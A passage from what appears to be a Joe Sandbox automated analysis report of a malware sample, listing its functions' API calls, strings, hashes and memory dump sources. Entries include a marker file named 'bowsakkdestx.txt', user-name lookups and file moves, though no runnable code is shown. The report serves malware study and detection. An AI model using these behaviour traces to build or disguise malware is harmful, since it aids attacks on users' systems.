Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 91a0ca722913679a247c074017a0937e9be0a0ec6b7fa287bef5fb0b650ed4ae
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 91a0ca722913679a247c074017a0937e9be0a0ec6b7fa287bef5fb0b650ed4ae
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: e411074e57e557179ac6fcd4cc2da6591e65d16c34a320eb182a3059363ce490
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: e411074e57e557179ac6fcd4cc2da6591e65d16c34a320eb182a3059363ce490
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: b3abc9572091bca9125f21951a8d684c8c7a697cb0b84fa965d2ba6b520d2649
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: b3abc9572091bca9125f21951a8d684c8c7a697cb0b84fa965d2ba6b520d2649
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 06632578e90d35fef5b480ba9d5c501bb3093ece1296134b40e04d124e67501b
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 06632578e90d35fef5b480ba9d5c501bb3093ece1296134b40e04d124e67501b
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 000b75c40abfddb6a773008a46a172c0f10a4fdf0ec02046ba9b93d0a566c0a6
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 000b75c40abfddb6a773008a46a172c0f10a4fdf0ec02046ba9b93d0a566c0a6
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

%username%, xrefs: 0041B283
I:\5d2860c89d774.jpg, xrefs: 0041B32F

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

